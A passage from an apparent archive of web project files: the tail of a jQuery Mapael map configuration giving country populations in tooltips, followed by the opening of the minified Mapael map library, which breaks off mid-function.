						'<span style="font-weight:bold;">Guinea-bissau</span><br />Population : 1547061',
				},
			},
			GY: {
				value: "756040",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Guyana</span><br />Population : 756040',
				},
			},
			HT: {
				value: "10123787",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Haiti</span><br />Population : 10123787',
				},
			},
			HN: {
				value: "7754687",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Honduras</span><br />Population : 7754687',
				},
			},
			HU: {
				value: "9971000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Hungary</span><br />Population : 9971000',
				},
			},
			JM: {
				value: "2709300",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Jamaica</span><br />Population : 2709300',
				},
			},
			JP: {
				value: "127817277",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Japan</span><br />Population : 127817277',
				},
			},
			MH: {
				value: "54816",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Marshall Islands</span><br />Population : 54816',
				},
			},
			PW: {
				value: "20609",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Palau</span><br />Population : 20609',
				},
			},
			SB: {
				value: "552267",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Solomon Islands</span><br />Population : 552267',
				},
			},
			IN: {
				value: "1241491960",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">India</span><br />Population : 1241491960',
				},
			},
			ID: {
				value: "242325638",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Indonesia</span><br />Population : 242325638',
				},
			},
			JO: {
				value: "6181000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Jordan</span><br />Population : 6181000',
				},
			},
			IR: {
				value: "74798599",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Iran, Islamic Republic Of</span><br />Population : 74798599',
				},
			},
			IQ: {
				value: "32961959",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Iraq</span><br />Population : 32961959',
				},
			},
			IE: {
				value: "4487000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ireland</span><br />Population : 4487000',
				},
			},
			IS: {
				value: "319000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Iceland</span><br />Population : 319000',
				},
			},
			IL: {
				value: "7765700",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Israel</span><br />Population : 7765700',
				},
			},
			IT: {
				value: "60770000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Italy</span><br />Population : 60770000',
				},
			},
			KZ: {
				value: "16558459",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Kazakhstan</span><br />Population : 16558459',
				},
			},
			KE: {
				value: "41609728",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Kenya</span><br />Population : 41609728',
				},
			},
			KG: {
				value: "5507000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Kyrgyzstan</span><br />Population : 5507000',
				},
			},
			KI: {
				value: "101093",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Kiribati</span><br />Population : 101093',
				},
			},
			KW: {
				value: "2818042",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Kuwait</span><br />Population : 2818042',
				},
			},
			LA: {
				value: "6288037",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Lao People\'s Democratic Republic</span><br />Population : 6288037',
				},
			},
			LS: {
				value: "2193843",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Lesotho</span><br />Population : 2193843',
				},
			},
			LV: {
				value: "2220000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Latvia</span><br />Population : 2220000',
				},
			},
			LB: {
				value: "4259405",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Lebanon</span><br />Population : 4259405',
				},
			},
			LR: {
				value: "4128572",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Liberia</span><br />Population : 4128572',
				},
			},
			LY: {
				value: "6422772",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Libya</span><br />Population : 6422772',
				},
			},
			LI: {
				value: "36304",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Liechtenstein</span><br />Population : 36304',
				},
			},
			LT: {
				value: "3203000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Lithuania</span><br />Population : 3203000',
				},
			},
			LU: {
				value: "517000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Luxembourg</span><br />Population : 517000',
				},
			},
			MK: {
				value: "2063893",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Macedonia, The Former Yugoslav Republic Of</span><br />Population : 2063893',
				},
			},
			MG: {
				value: "21315135",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Madagascar</span><br />Population : 21315135',
				},
			},
			MY: {
				value: "28859154",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Malaysia</span><br />Population : 28859154',
				},
			},
			MW: {
				value: "15380888",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Malawi</span><br />Population : 15380888',
				},
			},
			MV: {
				value: "320081",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Maldives</span><br />Population : 320081',
				},
			},
			ML: {
				value: "15839538",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Mali</span><br />Population : 15839538',
				},
			},
			MT: {
				value: "419000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Malta</span><br />Population : 419000',
				},
			},
			MA: {
				value: "32272974",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Morocco</span><br />Population : 32272974',
				},
			},
			MU: {
				value: "1286051",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Mauritius</span><br />Population : 1286051',
				},
			},
			MR: {
				value: "3541540",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Mauritania</span><br />Population : 3541540',
				},
			},
			MX: {
				value: "114793341",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Mexico</span><br />Population : 114793341',
				},
			},
			FM: {
				value: "111542",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Micronesia, Federated States Of</span><br />Population : 111542',
				},
			},
			MD: {
				value: "3559000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Moldova, Republic Of</span><br />Population : 3559000',
				},
			},
			MC: {
				value: "35427",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Monaco</span><br />Population : 35427',
				},
			},
			MN: {
				value: "2800114",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Mongolia</span><br />Population : 2800114',
				},
			},
			ME: {
				value: "632261",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Montenegro</span><br />Population : 632261',
				},
			},
			MZ: {
				value: "23929708",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Mozambique</span><br />Population : 23929708',
				},
			},
			NA: {
				value: "2324004",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Namibia</span><br />Population : 2324004',
				},
			},
			NP: {
				value: "30485798",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Nepal</span><br />Population : 30485798',
				},
			},
			NI: {
				value: "5869859",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Nicaragua</span><br />Population : 5869859',
				},
			},
			NE: {
				value: "16068994",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Niger</span><br />Population : 16068994',
				},
			},
			NG: {
				value: "162470737",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Nigeria</span><br />Population : 162470737',
				},
			},
			NO: {
				value: "4952000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Norway</span><br />Population : 4952000',
				},
			},
			NZ: {
				value: "4405200",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">New Zealand</span><br />Population : 4405200',
				},
			},
			OM: {
				value: "2846145",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Oman</span><br />Population : 2846145',
				},
			},
			UG: {
				value: "34509205",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Uganda</span><br />Population : 34509205',
				},
			},
			UZ: {
				value: "29341200",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Uzbekistan</span><br />Population : 29341200',
				},
			},
			PK: {
				value: "176745364",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Pakistan</span><br />Population : 176745364',
				},
			},
			PS: {
				value: "4019433",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Palestine, State Of</span><br />Population : 4019433',
				},
			},
			PA: {
				value: "3571185",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Panama</span><br />Population : 3571185',
				},
			},
			PG: {
				value: "7013829",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Papua New Guinea</span><br />Population : 7013829',
				},
			},
			PY: {
				value: "6568290",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Paraguay</span><br />Population : 6568290',
				},
			},
			NL: {
				value: "16696000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Netherlands</span><br />Population : 16696000',
				},
			},
			PE: {
				value: "29399817",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Peru</span><br />Population : 29399817',
				},
			},
			PH: {
				value: "94852030",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Philippines</span><br />Population : 94852030',
				},
			},
			PL: {
				value: "38216000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Poland</span><br />Population : 38216000',
				},
			},
			PT: {
				value: "10637000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Portugal</span><br />Population : 10637000',
				},
			},
			QA: {
				value: "1870041",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Qatar</span><br />Population : 1870041',
				},
			},
			DO: {
				value: "10056181",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Dominican Republic</span><br />Population : 10056181',
				},
			},
			RO: {
				value: "21390000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Romania</span><br />Population : 21390000',
				},
			},
			GB: {
				value: "62641000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">United Kingdom</span><br />Population : 62641000',
				},
			},
			RU: {
				value: "141930000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Russian Federation</span><br />Population : 141930000',
				},
			},
			RW: {
				value: "10942950",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Rwanda</span><br />Population : 10942950',
				},
			},
			KN: {
				value: "53051",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Saint Kitts And Nevis</span><br />Population : 53051',
				},
			},
			SM: {
				value: "31735",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">San Marino</span><br />Population : 31735',
				},
			},
			VC: {
				value: "109365",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Saint Vincent And The Grenadines</span><br />Population : 109365',
				},
			},
			LC: {
				value: "176000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Saint Lucia</span><br />Population : 176000',
				},
			},
			SV: {
				value: "6227491",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">El Salvador</span><br />Population : 6227491',
				},
			},
			WS: {
				value: "183874",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Samoa</span><br />Population : 183874',
				},
			},
			ST: {
				value: "168526",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Sao Tome And Principe</span><br />Population : 168526',
				},
			},
			SN: {
				value: "12767556",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Senegal</span><br />Population : 12767556',
				},
			},
			RS: {
				value: "7261000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Serbia</span><br />Population : 7261000',
				},
			},
			SC: {
				value: "86000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Seychelles</span><br />Population : 86000',
				},
			},
			SL: {
				value: "5997486",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Sierra Leone</span><br />Population : 5997486',
				},
			},
			SG: {
				value: "5183700",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Singapore</span><br />Population : 5183700',
				},
			},
			SK: {
				value: "5440000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Slovakia</span><br />Population : 5440000',
				},
			},
			SI: {
				value: "2052000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Slovenia</span><br />Population : 2052000',
				},
			},
			SO: {
				value: "9556873",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Somalia</span><br />Population : 9556873',
				},
			},
			SD: {
				value: "34318385",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Sudan</span><br />Population : 34318385',
				},
			},
			SS: {
				value: "10314021",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">South Sudan</span><br />Population : 10314021',
				},
			},
			LK: {
				value: "20869000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Sri Lanka</span><br />Population : 20869000',
				},
			},
			SE: {
				value: "9453000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Sweden</span><br />Population : 9453000',
				},
			},
			CH: {
				value: "7907000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Switzerland</span><br />Population : 7907000',
				},
			},
			SR: {
				value: "529419",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Suriname</span><br />Population : 529419',
				},
			},
			SZ: {
				value: "1067773",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Swaziland</span><br />Population : 1067773',
				},
			},
			SY: {
				value: "20820311",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Syrian Arab Republic</span><br />Population : 20820311',
				},
			},
			TJ: {
				value: "6976958",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Tajikistan</span><br />Population : 6976958',
				},
			},
			TZ: {
				value: "46218486",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Tanzania, United Republic Of</span><br />Population : 46218486',
				},
			},
			TD: {
				value: "11525496",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Chad</span><br />Population : 11525496',
				},
			},
			CZ: {
				value: "10546000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Czech Republic</span><br />Population : 10546000',
				},
			},
			TH: {
				value: "69518555",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Thailand</span><br />Population : 69518555',
				},
			},
			TL: {
				value: "1175880",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Timor-leste</span><br />Population : 1175880',
				},
			},
			TG: {
				value: "6154813",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Togo</span><br />Population : 6154813',
				},
			},
			TO: {
				value: "104509",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Tonga</span><br />Population : 104509',
				},
			},
			TT: {
				value: "1346350",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Trinidad And Tobago</span><br />Population : 1346350',
				},
			},
			TN: {
				value: "10673800",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Tunisia</span><br />Population : 10673800',
				},
			},
			TM: {
				value: "5105301",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Turkmenistan</span><br />Population : 5105301',
				},
			},
			TR: {
				value: "73639596",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Turkey</span><br />Population : 73639596',
				},
			},
			TV: {
				value: "9847",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Tuvalu</span><br />Population : 9847',
				},
			},
			VU: {
				value: "245619",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Vanuatu</span><br />Population : 245619',
				},
			},
			VE: {
				value: "29278000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Venezuela, Bolivarian Republic Of</span><br />Population : 29278000',
				},
			},
			VN: {
				value: "87840000",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Viet Nam</span><br />Population : 87840000',
				},
			},
			UA: {
				value: "45706100",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Ukraine</span><br />Population : 45706100',
				},
			},
			UY: {
				value: "3368595",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Uruguay</span><br />Population : 3368595',
				},
			},
			YE: {
				value: "24799880",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Yemen</span><br />Population : 24799880',
				},
			},
			ZM: {
				value: "13474959",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Zambia</span><br />Population : 13474959',
				},
			},
			ZW: {
				value: "12754378",
				href: "#",
				tooltip: {
					content:
						'<span style="font-weight:bold;">Zimbabwe</span><br />Population : 12754378',
				},
			},
		},
	});
});
vendor/mapael/jquery.mapael.min.js000066600000106205151150443020013200 0ustar00!function(a){"object"==typeof exports?module.exports=a(require("jquery"),require("raphael"),require("jquery-mousewheel")):"function"==typeof define&&define.amd?define(["jquery","raphael","mousewheel"],a):a(jQuery,Raphael,jQuery.fn.mousewheel)}(function(a,b,c,d){"use strict";var e=function(b,c){var d=this;d.container=b,d.$container=a(b),d.options=d.extendDefaultOptions(c),d.zoomTO=0,d.zoomCenterX=0,d.zoomCenterY=0,d.previousPinchDist=0,d.zoomData={zoomLevel:0,zoomX:0,zoomY:0,panX:0,panY:0},d.currentViewBox={x:0,y:0,w:0,h:0},d.panning=!1,d.zoomAnimID=null,d.zoomAnimStartTime=null,d.zoomAnimCVBTarget=null,d.$map=a("."+d.options.map.cssClass,d.container),d.initialMapHTMLContent=d.$map.html(),d.$tooltip={},d.paper={},d.areas={},d.plots={},d.links={},d.legends={},d.mapConf={},d.customEventHandlers={},d.init()};return e.prototype={MouseOverFilteringTO:120,panningFilteringTO:150,panningEndFilteringTO:50,zoomFilteringTO:150,resizeFilteringTO:150,init:function(){var c=this;if(""===c.options.map.cssClass||0===a("."+c.options.map.cssClass,c.container).length)throw new Error("The map class `"+c.options.map.cssClass+"` doesn't exists");if(c.$tooltip=a("<div>").addClass(c.options.map.tooltip.cssClass).css("display","none"),c.$map.empty().append(c.$tooltip),a.mapael&&a.mapael.maps&&a.mapael.maps[c.options.map.name])c.mapConf=a.mapael.maps[c.options.map.name];else{if(!(a.fn.mapael&&a.fn.mapael.maps&&a.fn.mapael.maps[c.options.map.name]))throw new Error("Unknown map '"+c.options.map.name+"'");c.mapConf=a.fn.mapael.maps[c.options.map.name],window.console&&window.console.warn&&window.console.warn("Extending $.fn.mapael is deprecated (map '"+c.options.map.name+"')")}if(c.paper=new b(c.$map[0],c.mapConf.width,c.mapConf.height),!0===c.isRaphaelBBoxBugPresent())throw c.destroy(),new Error("Can't get boundary box for text (is your container hidden? See #135)");c.$container.addClass("mapael"),c.options.map.tooltip.css&&c.$tooltip.css(c.options.map.tooltip.css),c.setViewBox(0,0,c.mapConf.width,c.mapConf.height),c.options.map.width?c.paper.setSize(c.options.map.width,c.mapConf.height*(c.options.map.width/c.mapConf.width)):c.initResponsiveSize(),a.each(c.mapConf.elems,function(a){c.areas[a]={},c.areas[a].options=c.getElemOptions(c.options.map.defaultArea,c.options.areas[a]?c.options.areas[a]:{},c.options.legend.area),c.areas[a].mapElem=c.paper.path(c.mapConf.elems[a])}),c.options.map.beforeInit&&c.options.map.beforeInit(c.$container,c.paper,c.options),a.each(c.mapConf.elems,function(a){c.initElem(a,"area",c.areas[a])}),c.links=c.drawLinksCollection(c.options.links),a.each(c.options.plots,function(a){c.plots[a]=c.drawPlot(a)}),c.$container.on("zoom.mapael",function(a,b){c.onZoomEvent(a,b)}),c.options.map.zoom.enabled&&c.initZoom(c.mapConf.width,c.mapConf.height,c.options.map.zoom),c.options.map.zoom.init!==d&&(c.options.map.zoom.init.animDuration===d&&(c.options.map.zoom.init.animDuration=0),c.$container.trigger("zoom",c.options.map.zoom.init)),c.createLegends("area",c.areas,1),c.createLegends("plot",c.plots,c.paper.width/c.mapConf.width),c.$container.on("update.mapael",function(a,b){c.onUpdateEvent(a,b)}),c.$container.on("showElementsInRange.mapael",function(a,b){c.onShowElementsInRange(a,b)}),c.initDelegatedMapEvents(),c.initDelegatedCustomEvents(),c.options.map.afterInit&&c.options.map.afterInit(c.$container,c.paper,c.areas,c.plots,c.options),a(c.paper.desc).append(" and Mapael "+c.version+" (https://www.vincentbroute.fr/mapael/)")},destroy:function(){var b=this;b.$container.off(".mapael"),b.$map.off(".mapael"),b.onResizeEvent&&a(window).off("resize.mapael",b.onResizeEvent),b.$map.empty(),b.$map.html(b.initialMapHTMLContent),a.each(b.legends,function(c){a.each(b.legends[c],function(a){var d=b.legends[c][a];d.container.empty(),d.container.html(d.initialHTMLContent)})}),b.$container.removeClass("mapael"),b.$container.removeData("mapael"),b.container=d,b.$container=d,b.options=d,b.paper=d,b.$map=d,b.$tooltip=d,b.mapConf=d,b.areas=d,b.plots=d,b.links=d,b.customEventHandlers=d},initResponsiveSize:function(){var b=this,c=null,d=function(a){var c=b.$map.width();if(b.paper.width!==c){var d=c/b.mapConf.width;b.paper.setSize(c,b.mapConf.height*d),!0!==a&&b.options.legend.redrawOnResize&&b.createLegends("plot",b.plots,d)}};b.onResizeEvent=function(){clearTimeout(c),c=setTimeout(function(){d()},b.resizeFilteringTO)},a(window).on("resize.mapael",b.onResizeEvent),d(!0)},extendDefaultOptions:function(b){return b=a.extend(!0,{},e.prototype.defaultOptions,b),a.each(["area","plot"],function(c,d){if(a.isArray(b.legend[d]))for(var f=0;f<b.legend[d].length;++f)b.legend[d][f]=a.extend(!0,{},e.prototype.legendDefaultOptions[d],b.legend[d][f]);else b.legend[d]=a.extend(!0,{},e.prototype.legendDefaultOptions[d],b.legend[d])}),b},initDelegatedMapEvents:function(){var b,c=this,e={area:c.areas,"area-text":c.areas,plot:c.plots,"plot-text":c.plots,link:c.links,"link-text":c.links};c.$container.on("mouseover.mapael","[data-id]",function(){var f=this;clearTimeout(b),b=setTimeout(function(){var b=a(f),g=b.attr("data-id"),h=b.attr("data-type");if(e[h]!==d)c.elemEnter(e[h][g]);else if("legend-elem"===h||"legend-label"===h){var i=b.attr("data-legend-id"),j=b.attr("data-legend-type");c.elemEnter(c.legends[j][i].elems[g])}},c.MouseOverFilteringTO)});var f;c.$container.on("mousemove.mapael","[data-id]",function(b){var g=this;clearTimeout(f),f=setTimeout(function(){var f=a(g),h=f.attr("data-id"),i=f.attr("data-type");e[i]!==d&&c.elemHover(e[i][h],b)},0)}),c.$container.on("mouseout.mapael","[data-id]",function(){var g=this;clearTimeout(b),clearTimeout(f);var h=a(g),i=h.attr("data-id"),j=h.attr("data-type");if(e[j]!==d)c.elemOut(e[j][i]);else if("legend-elem"===j||"legend-label"===j){var k=h.attr("data-legend-id"),l=h.attr("data-legend-type");c.elemOut(c.legends[l][k].elems[i])}}),c.$container.on("click.mapael","[data-id]",function(b,f){var g=a(this),h=g.attr("data-id"),i=g.attr("data-type");if(e[i]!==d)c.elemClick(e[i][h]);else if("legend-elem"===i||"legend-label"===i){var j=g.attr("data-legend-id"),k=g.attr("data-legend-type");c.handleClickOnLegendElem(c.legends[k][j].elems[h],h,j,k,f)}})},initDelegatedCustomEvents:function(){var b=this;a.each(b.customEventHandlers,function(c){var e=c+".mapael.custom";b.$container.off(e).on(e,"[data-id]",function(e){var f=a(this),g=f.attr("data-id"),h=f.attr("data-type").replace("-text","");if(!b.panning&&b.customEventHandlers[c][h]!==d&&b.customEventHandlers[c][h][g]!==d){var i=b.customEventHandlers[c][h][g];i.options.eventHandlers[c](e,g,i.mapElem,i.textElem,i.options)}})})},initElem:function(b,c,e){var f=this,g=a(e.mapElem.node);if(e.options.href&&(e.options.attrs.cursor="pointer",e.options.text&&(e.options.text.attrs.cursor="pointer")),e.mapElem.attr(e.options.attrs),g.attr({"data-id":b,"data-type":c}),e.options.cssClass!==d&&g.addClass(e.options.cssClass),e.options.text&&e.options.text.content!==d){var h=f.getTextPosition(e.mapElem.getBBox(),e.options.text.position,e.options.text.margin);e.options.text.attrs.text=e.options.text.content,e.options.text.attrs.x=h.x,e.options.text.attrs.y=h.y,e.options.text.attrs["text-anchor"]=h.textAnchor,e.textElem=f.paper.text(h.x,h.y,e.options.text.content),e.textElem.attr(e.options.text.attrs),a(e.textElem.node).attr({"data-id":b,"data-type":c+"-text"})}e.options.eventHandlers&&f.setEventHandlers(b,c,e),f.setHoverOptions(e.mapElem,e.options.attrs,e.options.attrsHover),e.textElem&&f.setHoverOptions(e.textElem,e.options.text.attrs,e.options.text.attrsHover)},initZoom:function(b,c,e){var f=this,g=!1,h=0,i=0,j={reset:function(){f.$container.trigger("zoom",{level:0})},in:function(){f.$container.trigger("zoom",{level:"+1"})},out:function(){f.$container.trigger("zoom",{level:-1})}};a.extend(f.zoomData,{zoomLevel:0,panX:0,panY:0}),a.each(e.buttons,function(b,c){if(j[b]===d)throw new Error("Unknown zoom button '"+b+"'");var e=a("<div>").addClass(c.cssClass).html(c.content).attr("title",c.title);e.on("click.mapael",j[b]),f.$map.append(e)}),f.options.map.zoom.mousewheel&&f.$map.on("mousewheel.mapael",function(a){var b=a.deltaY>0?1:-1,c=f.mapPagePositionToXY(a.pageX,a.pageY);f.$container.trigger("zoom",{fixedCenter:!0,level:f.zoomData.zoomLevel+b,x:c.x,y:c.y}),a.preventDefault()}),f.options.map.zoom.touch&&(f.$map.on("touchstart.mapael",function(a){2===a.originalEvent.touches.length&&(f.zoomCenterX=(a.originalEvent.touches[0].pageX+a.originalEvent.touches[1].pageX)/2,f.zoomCenterY=(a.originalEvent.touches[0].pageY+a.originalEvent.touches[1].pageY)/2,f.previousPinchDist=Math.sqrt(Math.pow(a.originalEvent.touches[1].pageX-a.originalEvent.touches[0].pageX,2)+Math.pow(a.originalEvent.touches[1].pageY-a.originalEvent.touches[0].pageY,2)))}),f.$map.on("touchmove.mapael",function(a){var b=0,c=0;if(2===a.originalEvent.touches.length){if(b=Math.sqrt(Math.pow(a.originalEvent.touches[1].pageX-a.originalEvent.touches[0].pageX,2)+Math.pow(a.originalEvent.touches[1].pageY-a.originalEvent.touches[0].pageY,2)),Math.abs(b-f.previousPinchDist)>15){var d=f.mapPagePositionToXY(f.zoomCenterX,f.zoomCenterY);c=(b-f.previousPinchDist)/Math.abs(b-f.previousPinchDist),f.$container.trigger("zoom",{fixedCenter:!0,level:f.zoomData.zoomLevel+c,x:d.x,y:d.y}),f.previousPinchDist=b}return!1}})),f.$map.on("dragstart",function(){return!1});var k=null,l=null;a("body").on("mouseup.mapael"+(e.touch?" touchend.mapael":""),function(){g=!1,clearTimeout(k),clearTimeout(l),k=setTimeout(function(){f.panning=!1},f.panningEndFilteringTO)}),f.$map.on("mousedown.mapael"+(e.touch?" touchstart.mapael":""),function(a){clearTimeout(k),clearTimeout(l),a.pageX!==d?(g=!0,h=a.pageX,i=a.pageY):1===a.originalEvent.touches.length&&(g=!0,h=a.originalEvent.touches[0].pageX,i=a.originalEvent.touches[0].pageY)}).on("mousemove.mapael"+(e.touch?" touchmove.mapael":""),function(j){var m=f.zoomData.zoomLevel,n=0,o=0;if(clearTimeout(k),clearTimeout(l),j.pageX!==d?(n=j.pageX,o=j.pageY):1===j.originalEvent.touches.length?(n=j.originalEvent.touches[0].pageX,o=j.originalEvent.touches[0].pageY):g=!1,g&&0!==m){var p=(h-n)/(1+m*e.step)*(b/f.paper.width),q=(i-o)/(1+m*e.step)*(c/f.paper.height),r=Math.min(Math.max(0,f.currentViewBox.x+p),b-f.currentViewBox.w),s=Math.min(Math.max(0,f.currentViewBox.y+q),c-f.currentViewBox.h);return(Math.abs(p)>5||Math.abs(q)>5)&&(a.extend(f.zoomData,{panX:r,panY:s,zoomX:r+f.currentViewBox.w/2,zoomY:s+f.currentViewBox.h/2}),f.setViewBox(r,s,f.currentViewBox.w,f.currentViewBox.h),l=setTimeout(function(){f.$map.trigger("afterPanning",{x1:r,y1:s,x2:r+f.currentViewBox.w,y2:s+f.currentViewBox.h})},f.panningFilteringTO),h=n,i=o,f.panning=!0),!1}})},mapPagePositionToXY:function(a,b){var c=this,d=c.$map.offset(),e=c.options.map.width?c.mapConf.width/c.options.map.width:c.mapConf.width/c.$map.width(),f=1/(1+c.zoomData.zoomLevel*c.options.map.zoom.step);return{x:f*e*(a-d.left)+c.zoomData.panX,y:f*e*(b-d.top)+c.zoomData.panY}},onZoomEvent:function(b,c){var e,f,g,h,i,j=this,k=j.zoomData.zoomLevel,l=1+j.zoomData.zoomLevel*j.options.map.zoom.step,m=c.animDuration!==d?c.animDuration:j.options.map.zoom.animDuration;if(c.area!==d){if(j.areas[c.area]===d)throw new Error("Unknown area '"+c.area+"'");var 